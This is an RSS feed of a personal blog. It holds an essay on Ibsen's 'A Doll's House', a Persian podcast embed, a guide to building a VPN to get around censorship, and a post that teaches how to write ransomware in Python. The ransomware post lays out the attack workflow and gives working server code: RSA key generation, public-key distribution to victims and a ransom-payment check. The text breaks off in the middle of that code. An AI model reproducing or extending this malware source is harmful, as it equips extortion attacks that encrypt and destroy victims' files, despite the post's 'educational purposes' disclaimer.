<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Floppy Disk</title><description>My 1.44MB digital memory</description><link>https://floppydisk.vercel.app/</link><language>en</language><item><title>A Doll&apos;s House in the 21st Century</title><link>https://floppydisk.vercel.app/posts/dolls-house-modern-analysis/</link><guid isPermaLink="true">https://floppydisk.vercel.app/posts/dolls-house-modern-analysis/</guid><description>What justifies a mother abandoning her children? A 19th-century play and its modern remake give two very different answers. I explore how the need for a &quot;reason&quot; has completely vanished, and what that says about us now.</description><pubDate>Mon, 25 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I was surfing the internet when I came across this video&lt;/p&gt;
&lt;p&gt;&amp;lt;iframe width=&quot;1024&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/8CY8s2MqPyM?si=-2bWDTTnnPHNopM1&quot; title=&quot;YouTube video player&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; allowfullscreen&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/p&gt;
&lt;p&gt;, a short modern response to Henrik Ibsen’s &quot;A Doll’s House&quot;. I had read the play some time ago and also watched a live performance by the wonderful crew of Summer Light Theater.&lt;/p&gt;
&lt;p&gt;&amp;lt;iframe width=&quot;1024&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/Kg0Ll77GZhk?si=DDABOLSzX9Bb5Ec1&quot; title=&quot;YouTube video player&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; allowfullscreen&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/p&gt;
&lt;p&gt;The title of the video has been chosen carefully to indicate that it&apos;s not a condensed representation of the original drama. On the contrary, it tries to picture the core idea behind the original drama in the modern setting. In Ibsen’s play, Nora’s decision to abandon her children stems from a deeper issue: her lack of identity and independence. In the final act, she reflects:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;That’s the way it has been, Torvald. When I was home with Daddy, he told me all his opinions, and so they became my opinions too. If I dis-agreed with him I kept it to myself, for he wouldn’t have liked that. He called me his little doll baby, and he played with me the way I played with my dolls. Then I came to your house&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;I mean that I passed from Daddy’s hands into yours. You arranged everything according to your taste, and so I came to share it—or I pretended to; I’m not sure which. I think it was a little of both,
now one and now the other. When I look back on it now, it seems to me I’ve been living here like a pauper—just a hand-to-mouth kind of existence.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;I have been your doll wife here, just the way I used to be Daddy’s doll child.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;These all show the real intention of Nora&apos;s decision. She was concerned with lack of independence and personal identity. She was invisible in the societal hierarchy; therefore, she decided to leave her family to seek her own life, just to find out who she really is.&lt;/p&gt;
&lt;p&gt;The modern version although it is completely something else. The modern Nora does the same and leaves her children, too, but the reasons are different. Some characteristics of the two versions are the same. Some are different, and lots of important details are gone! For example, the absence of the way her husband treats her or the concept of lying to her husband, all make this modern play an improper response in comparison to the original play. For example, in modern version she&apos;s married and she has two kids, just like the original play. But the modern Nora is employed, socially visible, and financially independent. At the end, the movie pictures her leaving as a result of &quot;burnout&quot;, rather than pursuing her own identity.&lt;/p&gt;
&lt;p&gt;Both versions strike me as troubling. Of course, couples part ways for many reasons. This is normal. But when children are involved, abandonment is not something that can be justified by gender differences, independence, or burnout. That part remains unacceptable. But the thing that caught my attention is the reasoning part of the two stories. In 1897, you needed a reason to abandon your children. With a reason, and a bit of biased looking because of gender differences, your abandonment could be considered &quot;fine,&quot; and you wouldn&apos;t be the bad guy of the story. After all, there was a shame to the action, and you would have needed a reason to justify yourself. The modern era, however, seems to have discarded that need for a reason. The shame itself is gone. The modern narrative suggests that personal dissatisfaction or emotional exhaustion is reason enough. You don&apos;t need a grand philosophical manifesto; you just need to not be happy. In that case you are free to do whatever you like. You don&apos;t need reasons anymore. You don&apos;t need to cover that shame with a mask. This is something that hits me hard and makes me think of the changes we&apos;ve experienced within just 200 years.&lt;/p&gt;
</content:encoded></item><item><title>قسمت اول: چالش های آی‌تی؛ یادگیری، دانشگاه، کار و سربازی</title><link>https://floppydisk.vercel.app/posts/varlog/ep1/</link><guid isPermaLink="true">https://floppydisk.vercel.app/posts/varlog/ep1/</guid><description>تو اولین قسمت پادکست #ورلاگ سعی کردیم در مورد چالش های آی‌تی صحبت کنیم و این مسیر رو نه فقط به عنوان علاقه، بلکه به عنوان یک شغل ببینیم و بفهمیم برای ورود بهش نیاز داریم چی بدونیم</description><pubDate>Fri, 04 Oct 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&amp;lt;style&amp;gt;
.redcircle-link:link {
color: #ea404d;
text-decoration: none;
}
.redcircle-link:hover {
color: #ea404d;
}
.redcircle-link:active {
color: #ea404d;
}
.redcircle-link:visited {
color: #ea404d;
}
&amp;lt;/style&amp;gt;
&amp;lt;script async defer onload=&quot;redcircleIframe();&quot; src=&quot;https://api.podcache.net/embedded-player/sh/8915f9ff-215e-45c3-86aa-be800633b2ff/ep/9ef24c3b-11b9-4ff1-842e-8b29ddd38266&quot;&amp;gt;
&amp;lt;/script&amp;gt;
&amp;lt;div class=&quot;redcirclePlayer-9ef24c3b-11b9-4ff1-842e-8b29ddd38266&quot;&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;p style=&quot;margin-top:3px;margin-left:11px;font-family: sans-serif;font-size: 10px; color: gray;&quot;&amp;gt;Powered by &amp;lt;a class=&quot;redcircle-link&quot; href=&quot;https://redcircle.com?utm_source=rc_embedded_player&amp;amp;utm_medium=web&amp;amp;utm_campaign=embedded_v1&quot;&amp;gt;RedCircle&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>Create your own VPN to bypass internet censorship</title><link>https://floppydisk.vercel.app/posts/create-your-own-vpn/</link><guid isPermaLink="true">https://floppydisk.vercel.app/posts/create-your-own-vpn/</guid><description>An easy-to-use approach to create your own VPN in order to bypass internet censorship and government restrictions.</description><pubDate>Mon, 04 Dec 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;All countries have some limitations or government-imposed restrictions on the internet that ban end-users from accessing certain websites, services, applications, etc. In such countries, end-users face difficulties connecting to the internet and accessing the services they want. They have two options in these situations:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Paying money to technical experts who can provide methods to bypass these restrictions.&lt;/li&gt;
&lt;li&gt;Creating their own solutions to bypass those restrictions, though this requires technical knowledge.&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;If you don&apos;t want to read the technical description or just want to skip the fundamentals, go straight to the &lt;strong&gt;Getting Started&lt;/strong&gt; section.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Technical Description&lt;/h2&gt;
&lt;p&gt;First, let&apos;s understand how these restrictions work.&lt;br /&gt;
When you want to access something on the internet (like a website, a service, or an application), you first need to find the address of the server hosting that service. If a service is up and running, it means someone, somewhere in the world, programmed it and deployed it on a computer we call a &lt;strong&gt;Server&lt;/strong&gt;, which &lt;strong&gt;serves&lt;/strong&gt; that service to you. Like real-world mail, if you want to send a package to someone, you need their destination address. Without it, you can&apos;t send the package. However, there’s a difference between real-world addresses and computer addresses. Real-world addresses can be represented as geo-locational data (latitude and longitude pairs) or as text. With these, you can locate a friend’s house or a new building. But how do you find the address of a computer? What does it even mean? When we talk about a computer’s address, do we mean its geo-locational address? &lt;em&gt;Definitely not!&lt;/em&gt; A building’s address is entirely different from a computer’s address, but both follow the same principle:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Every communication system operates based on how it defines its addresses.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So, how are addresses defined in computers? The answer is simple: &lt;em&gt;&lt;strong&gt;Protocols&lt;/strong&gt;&lt;/em&gt;.&lt;/p&gt;
&lt;h3&gt;Protocols&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;/images/own-vpn-images/types-of-networking-protocols.jpg&quot; alt=&quot;Computer Protocols Flow&quot; title=&quot;A flowchart showing computer protocols and their dependencies on each other.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In computing, we have different protocols for different tasks. There’s FTP (&lt;strong&gt;File Transfer Protocol&lt;/strong&gt;), HTTP (&lt;strong&gt;Hypertext Transfer Protocol&lt;/strong&gt;), LDAP (&lt;strong&gt;Lightweight Directory Access Protocol&lt;/strong&gt;), and more. Each protocol is designed for a specific task, and because tasks vary, so do the methods of &lt;strong&gt;data transportation&lt;/strong&gt;. Essentially, protocols handle data transportation in different ways, and because of these differences, they &lt;em&gt;&lt;strong&gt;might&lt;/strong&gt;&lt;/em&gt; use different address formats. Yes, they &lt;em&gt;might&lt;/em&gt;—they’re not required to. But why? Because protocols can be chained together. They can &lt;strong&gt;rely&lt;/strong&gt; on each other. For example, Protocol &lt;em&gt;&lt;strong&gt;A&lt;/strong&gt;&lt;/em&gt; might depend on features from Protocol &lt;em&gt;&lt;strong&gt;B&lt;/strong&gt;&lt;/em&gt;, which in turn relies on Protocol &lt;em&gt;&lt;strong&gt;C&lt;/strong&gt;&lt;/em&gt; to function as intended. For instance, all the protocols mentioned above (FTP, HTTP, LDAP) rely on a combination of protocols called TCP/IP. These are two separate protocols: TCP (&lt;strong&gt;Transmission Control Protocol&lt;/strong&gt;) and IP (&lt;strong&gt;Internet Protocol&lt;/strong&gt;). When used together, we refer to them as &lt;strong&gt;TCP over IP&lt;/strong&gt; or &lt;strong&gt;TCP/IP&lt;/strong&gt;.&lt;/p&gt;
&lt;h4&gt;IP&lt;/h4&gt;
&lt;p&gt;IP is the protocol of the internet. It has 16 versions in total (versions 0 to 15), but only two are actively used in networking today: IPv4 and IPv6. The other versions are either unassigned, abandoned, or obsolete. This protocol assigns an address to a computer. For example, IPv4 addresses consist of four numbers (each less than 256) separated by dots (with an optional suffix), like &lt;em&gt;&lt;strong&gt;192.168.50.88/24&lt;/strong&gt;&lt;/em&gt;. This address reveals several things:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Which network this node belongs to&lt;/li&gt;
&lt;li&gt;The network’s capacity&lt;/li&gt;
&lt;li&gt;Which nodes can locate this node&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;TCP&lt;/h4&gt;
&lt;p&gt;TCP, on the other hand, is the protocol that controls data transmission. It manages how data is sent or received by a node. This protocol alone can’t create what we know as the &lt;strong&gt;Internet&lt;/strong&gt;, which is why we combine it with the IP protocol. Together, they enable computers to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Have an address and be recognized on networks&lt;/li&gt;
&lt;li&gt;Control how data is transmitted between nodes&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So, if you’re unable to connect to a website, the issue could lie in the TCP/IP stages—either on your end or the sender’s side. Since you’re not imposing any restrictions, the reason for the connection failure is clear: &lt;strong&gt;Your Internet Service Provider (ISP)&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;ISP&lt;/h3&gt;
&lt;p&gt;In all countries, the government has unrestricted access to the internet. The government then shares this access—and the ability to provide it as a service—with companies known as ISPs. ISP stands for &lt;strong&gt;Internet Service Provider&lt;/strong&gt;. These companies must comply with government policies. They provide internet to users &lt;strong&gt;based on the government’s rules&lt;/strong&gt;, meaning if the government restricts access to a website, ISPs must do the same—or face penalties or shutdowns. ISPs constantly intercept user requests, check for restricted destinations, and block them.&lt;/p&gt;
&lt;p&gt;Now you know that you don’t receive your internet directly from the government. You get it from ISPs. But if you can’t access a website, it’s because the government has restricted it, forcing ISPs to comply (even if they might not agree).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/own-vpn-images/isp-ban.png&quot; alt=&quot;General request flow&quot; title=&quot;How ISPs affect internet access&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So, what’s the solution? If the government holds all the power, how can you use (almost!) unrestricted internet? The answer is VPNs.&lt;/p&gt;
&lt;h3&gt;VPN&lt;/h3&gt;
&lt;p&gt;What is a VPN, and how does it bypass government-imposed internet restrictions? Let’s first review how your request is processed by an ISP:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;You send a request to access a website.&lt;/li&gt;
&lt;li&gt;The ISP checks if the destination is on its blacklist. If it is, the request is rejected.&lt;/li&gt;
&lt;li&gt;If it’s not blacklisted, the ISP forwards your request and returns the result to you.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This system has a flaw. You can send a request to a non-restricted server and ask it to fetch restricted content for you. Since the non-restricted server isn’t bound by your country’s policies, it can access the restricted service on your behalf. But how? You can’t physically travel to another country just to visit a website. Instead, you need to place yourself &lt;strong&gt;virtually&lt;/strong&gt; in the network of a non-restricted server. Once you do this, all your requests appear to originate from that server. Since the non-restricted server is in another country, its ISP processes your request according to that country’s policies. This is called a &lt;strong&gt;VPN (Virtual Private Network)&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Now, there’s a catch: You need a server in that country to set up a VPN. You can use a &lt;strong&gt;VPS (Virtual Private Server)&lt;/strong&gt;. These servers are called &quot;virtual&quot; because you don’t physically access them—instead, you connect remotely using protocols like &lt;strong&gt;SSH (Secure Shell)&lt;/strong&gt; or &lt;strong&gt;FTP&lt;/strong&gt; and execute commands on them.&lt;/p&gt;
&lt;p&gt;All you need to do is find a foreign VPS hosting service and purchase a server (if you can’t buy one from your country—like in Iran—some services accept cryptocurrencies). Once you’ve bought a server, the VPS provider gives you a username and password to connect via SSH.&lt;/p&gt;
&lt;p&gt;There are different types of VPNs. We’ll use &lt;strong&gt;X-ray&lt;/strong&gt;, along with a graphical panel called &lt;a href=&quot;https://github.com/MHSanaei/3x-ui&quot;&gt;3x-ui&lt;/a&gt;, developed by &lt;a href=&quot;https://github.com/MHSanaei/3x-ui&quot;&gt;Hossein Sanaei&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Getting Started&lt;/h2&gt;
&lt;p&gt;First, log in to your server using SSH with this command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh [username]@[Server-IP]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh root@10.0.2.15
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Enter your password and press &lt;strong&gt;Enter&lt;/strong&gt; (the password won’t be displayed).&lt;/p&gt;
&lt;p&gt;Then, run this command on your VPS:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bash &amp;lt;(curl -Ls https://raw.githubusercontent.com/mhsanaei/3x-ui/master/install.sh)
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Full installation instructions and official documentation can be found &lt;a href=&quot;https://github.com/MHSanaei/3x-ui&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The script will download or update necessary packages. When prompted to change default settings, type &lt;strong&gt;y&lt;/strong&gt; and press &lt;strong&gt;Enter&lt;/strong&gt;.&lt;br /&gt;
&lt;img src=&quot;/images/own-vpn-images/change-def-settings.png&quot; alt=&quot;Install Command&quot; /&gt;&lt;/p&gt;
&lt;p&gt;If the installation ends like this, the 3x-ui panel has been successfully installed.&lt;br /&gt;
&lt;img src=&quot;/images/own-vpn-images/installed.png&quot; alt=&quot;Installed&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next, log in to the panel. The panel’s address will be:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://[server_ip]:[default_or_changed_port]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/images/own-vpn-images/panel-login.png&quot; alt=&quot;Login&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Use the credentials you set during installation. After logging in, click on &lt;strong&gt;Panel Settings&lt;/strong&gt;.&lt;br /&gt;
&lt;img src=&quot;/images/own-vpn-images/panel-index.png&quot; alt=&quot;Home&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Find &lt;strong&gt;Panel URL root path&lt;/strong&gt; and change it to a custom path starting with &lt;strong&gt;/&lt;/strong&gt; (This enhances security by preventing directory attacks, especially if you use the default panel port).&lt;br /&gt;
&lt;img src=&quot;/images/own-vpn-images/changing-path.png&quot; alt=&quot;Settings&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After making changes, scroll up, click &lt;strong&gt;Save&lt;/strong&gt;, and then &lt;strong&gt;Restart panel&lt;/strong&gt;.&lt;br /&gt;
&lt;img src=&quot;/images/own-vpn-images/seting-change-confirm.png&quot; alt=&quot;Settings&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next, go to the &lt;strong&gt;Inbounds&lt;/strong&gt; page and click &lt;strong&gt;Add Inbound&lt;/strong&gt;.&lt;br /&gt;
&lt;img src=&quot;/images/own-vpn-images/inbound-page.png&quot; alt=&quot;Adding Inbound&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Configure the following settings:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Under &lt;strong&gt;Remark&lt;/strong&gt;, name your VPN.&lt;/li&gt;
&lt;li&gt;Select &lt;strong&gt;Vless&lt;/strong&gt; as the protocol.&lt;/li&gt;
&lt;li&gt;Use port &lt;strong&gt;443&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Enable &lt;strong&gt;Reality&lt;/strong&gt; at the bottom.&lt;/li&gt;
&lt;li&gt;Open the &lt;strong&gt;Client&lt;/strong&gt; menu.&lt;/li&gt;
&lt;li&gt;Set &lt;strong&gt;Flow&lt;/strong&gt; to &lt;strong&gt;xtls-rprx-vision&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Enter &lt;strong&gt;ftp.debian.org:443&lt;/strong&gt; in &lt;strong&gt;Dest&lt;/strong&gt; and &lt;strong&gt;ftp.debian.org, www.ftp.debian.org&lt;/strong&gt; in &lt;strong&gt;Server names&lt;/strong&gt; (you can use any SNI you prefer).&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Get new key&lt;/strong&gt; at the bottom, then hit &lt;strong&gt;Create&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Once done, click on the VPN menu, and you’ll see a QR code for your X-ray VPN!&lt;br /&gt;
&lt;img src=&quot;/images/own-vpn-images/vpn-listed.png&quot; alt=&quot;VPN-listed&quot; /&gt;&lt;br /&gt;
&lt;img src=&quot;/images/own-vpn-images/vpn-qr.png&quot; alt=&quot;VPN-qr&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Coding a Ransomware Is Easier Than You Think</title><link>https://floppydisk.vercel.app/posts/coding-a-ransomware-is-easier-than-you-think/</link><guid isPermaLink="true">https://floppydisk.vercel.app/posts/coding-a-ransomware-is-easier-than-you-think/</guid><description>The only way to understand how Ransomwares work is to design one!</description><pubDate>Thu, 09 Jun 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;You’ve probably heard about ransomware attacks in the news. But how difficult do you think it is to code a ransomware program? The truth is, it’s easier than you might imagine. Don’t believe me? Keep reading.&lt;/p&gt;
&lt;h2&gt;What Is Ransomware?&lt;/h2&gt;
&lt;p&gt;If you’re unfamiliar with ransomware, it’s a type of malware that typically forces victims to pay a ransom to regain access to their files. Most ransomware encrypts files and demands payment in exchange for decryption. If the victim refuses to pay, the malware may delete the files permanently. The stronger the encryption, the lower the chance of recovering files without paying.&lt;/p&gt;
&lt;p&gt;But why am I claiming that writing ransomware is so easy?&lt;/p&gt;
&lt;h2&gt;Python: A Versatile Tool&lt;/h2&gt;
&lt;p&gt;In today’s IT landscape, Python can be used to build almost any type of application—from web and mobile apps to games, networking tools, hacking scripts, and even ransomware. Impressive, right?&lt;/p&gt;
&lt;p&gt;In this article, we’ll walk through the process of coding a ransomware program step by step using Python.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;⚠️ Disclaimer&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;This article is for educational purposes only, to demonstrate how such programs work. Any illegal use of this knowledge is solely your responsibility. Neither &lt;strong&gt;floppydisk.vercel.app&lt;/strong&gt; nor the author condones or is liable for unauthorized use. &lt;strong&gt;Do not test these techniques on any system without explicit permission.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;The Basic Scenario&lt;/h2&gt;
&lt;p&gt;The ransomware’s workflow is straightforward:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Infiltration:&lt;/strong&gt; The malware enters the target system, often disguised as a harmless file.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Execution:&lt;/strong&gt; When the victim runs the file, the ransomware begins encrypting their files.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ransom Demand:&lt;/strong&gt; After encryption, the victim is notified that their files are locked and must pay to regain access.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;But how do we verify payment? And how is the encryption performed? Let’s break it down.&lt;/p&gt;
&lt;h3&gt;Symmetric Cryptography&lt;/h3&gt;
&lt;p&gt;Symmetric cryptography uses a single key for both encryption and decryption. Some well-known symmetric encryption algorithms include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Advanced_Encryption_Standard&quot;&gt;AES (Advanced Encryption Standard)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Data_Encryption_Standard&quot;&gt;DES (Data Encryption Standard)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/International_Data_Encryption_Algorithm&quot;&gt;IDEA (International Data Encryption Algorithm)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Blowfish_(cipher)&quot;&gt;Blowfish (Drop-in replacement for DES or IDEA)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/RC4&quot;&gt;RC4 (Rivest Cipher 4)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/RC5&quot;&gt;RC5 (Rivest Cipher 5)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/RC6&quot;&gt;RC6 (Rivest Cipher 6)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For this ransomware, we’ll use &lt;strong&gt;AES-256&lt;/strong&gt;, where &quot;256&quot; refers to the key size (32 bytes).&lt;/p&gt;
&lt;h3&gt;Asymmetric Cryptography&lt;/h3&gt;
&lt;p&gt;Asymmetric cryptography, or public-key cryptography, uses a key pair: a public key for encryption and a private key for decryption. Common algorithms include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/RSA_(cryptosystem)&quot;&gt;RSA&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange&quot;&gt;Deffie-Hellman&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Elliptic-curve_cryptography&quot;&gt;ECC&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/ElGamal_encryption&quot;&gt;ElGamal&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Digital_Signature_Algorithm&quot;&gt;DSA&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In this project, we’ll encrypt the symmetric AES key using &lt;strong&gt;RSA&lt;/strong&gt; to ensure only the attacker can decrypt it.&lt;/p&gt;
&lt;h2&gt;Setting Up the Environment&lt;/h2&gt;
&lt;h3&gt;Requirements&lt;/h3&gt;
&lt;p&gt;First, install the required Python libraries. Download the &lt;strong&gt;&lt;a href=&quot;https://github.com/0xGeekHub/tarantula/blob/main/requirements.txt&quot;&gt;requirements.txt&lt;/a&gt;&lt;/strong&gt; file, then run:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 -m pip install -r requirements.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Building the Server&lt;/h2&gt;
&lt;p&gt;The server handles three main tasks:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Generating RSA key pairs (public and private keys).&lt;/li&gt;
&lt;li&gt;Distributing the public key to clients.&lt;/li&gt;
&lt;li&gt;Simulating payment verification (in a real attack, you’d use a blockchain API).&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Server Code&lt;/h3&gt;
&lt;h4&gt;&lt;strong&gt;1. Cryptography Utilities (&lt;code&gt;crypto.py&lt;/code&gt;)&lt;/strong&gt;&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.PublicKey import RSA
from Crypto import Random
from base64 import b64decode
from Crypto.Cipher import PKCS1_OAEP
import base64

def read_public_key(key_file):
    key = open(key_file, &quot;r&quot;).read()
    return key.replace(&quot;-----BEGIN PUBLIC KEY-----&quot;, &quot;&quot;).replace(&quot;-----END PUBLIC KEY-----&quot;, &quot;&quot;).replace(&quot;\n&quot;, &quot;&quot;)

def read_private_key(key_file):
    key = open(key_file, &quot;r&quot;).read()
    return key.replace(&quot;-----BEGIN RSA PRIVATE KEY-----&quot;, &quot;&quot;).replace(&quot;-----END RSA PRIVATE KEY-----&quot;, &quot;&quot;).replace(&quot;\n&quot;, &quot;&quot;)

def rsa_decrypt(cipherData, crypt_key):
    key = b64decode(crypt_key)
    key = RSA.importKey(key)
    cipher = PKCS1_OAEP.new(key)
    plaintext = cipher.decrypt(b64decode(cipherData))
    return plaintext

def generate_rsa_key_pairs(key_length=2048):
    key = RSA.generate(key_length)
    private_key = key.export_key(&apos;PEM&apos;)
    public_key = key.publickey().exportKey(&apos;PEM&apos;)
    with open(&quot;private-key.pem&quot;, &quot;w&quot;) as private_key_file:
        private_key_file.write(private_key.decode())
    with open(&quot;public-key.pub&quot;, &quot;w&quot;) as public_key_file:
        public_key_file.write(public_key.decode())
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;&lt;strong&gt;2. Database Manager (&lt;code&gt;db.py&lt;/code&gt;)&lt;/strong&gt;&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;from tinydb import TinyDB, Query
import os

class Database:
    def __init__(self, dbName, dbPath):
        self.dbName = dbName
        self.dbPath = dbPath if dbPath[-1] == &apos;/&apos; else dbPath + &apos;/&apos;
        self.initilize_db_path(self.dbPath)
        self.db = TinyDB(dbPath + dbName, indent=4, sort_keys=True, separators=(&apos;,&apos;, &apos;:&apos;))
        
    def initilize_db_path(self, path):
        if not os.path.exists(path):
            os.makedirs(path)
        
    def query(self, table, query):
        table = self.db.table(table)
        return table.search(query)
        
    def insertOrUpdate(self, table, data):
        table = self.db.table(table)
        table.upsert(data, Query().id == data[&apos;id&apos;])
        return True
        
    def insert(self, table, data):
        table = self.db.table(table)
        table.insert(data)
        return True
    
    def close_db(self):
        self.db.close()
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;&lt;strong&gt;3. Server Logic (&lt;code&gt;server.py&lt;/code&gt;)&lt;/strong&gt;&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;from flask import Flask, request, jsonify
from tinydb import Query
from db import Database
from crypto import generate_rsa_key_pairs, read_public_key, read_private_key, rsa_decrypt
import os

# Generate key pairs if they don&apos;t exist
if not os.path.exists(&quot;public-key.pub&quot;):
    generate_rsa_key_pairs()

# Initialize server and database
server = Flask(&quot;Ransomware Server&quot;)
db = Database(&quot;ransomware.json&quot;, &quot;./&quot;)

# Simulate confirmed transactions
confirmedTransactions = [
    &apos;8cf9637de652a773bf61883283958e76912fb0e1b8c5fd1c175a609df6a80bc4&apos;,
    &apos;4558769059f3cc90e0251d2ae5bac26352daa813333f55a2e1850beca2fe456d&apos;,
    &apos;01e02a533b37dfe20df1d8d1169e7aaa83d89f9f0509452907fd59ecf7e248ff&apos;
]

@server.route(&apos;/api/v1/get_public_key&apos;, methods=[&apos;GET&apos;])
def get_public_key():
    return jsonify({&quot;public_key&quot;: read_public_key(&quot;public-key.pub&quot;)})

@server.route(&apos;/api/v1/payment_check&apos;, methods=[&apos;POST&apos;])
def payment_check():
    transactionId = request.json[&apos;transactionId&apos;]
    encryptedKey = request.json[&apos;encryptedKey&apos;]
    
    if transactionId not in confirmedTransactions:
        return jsonify({&quot;status&quot;: &quot;error&quot;, &quot;message&quot;: &quot;Transaction not confirmed&quot;})
    
    # Check for double-spending
    queryResult = db.query(&quot;transactions&quot;, Query().id == transactionId)
    if queryResult:
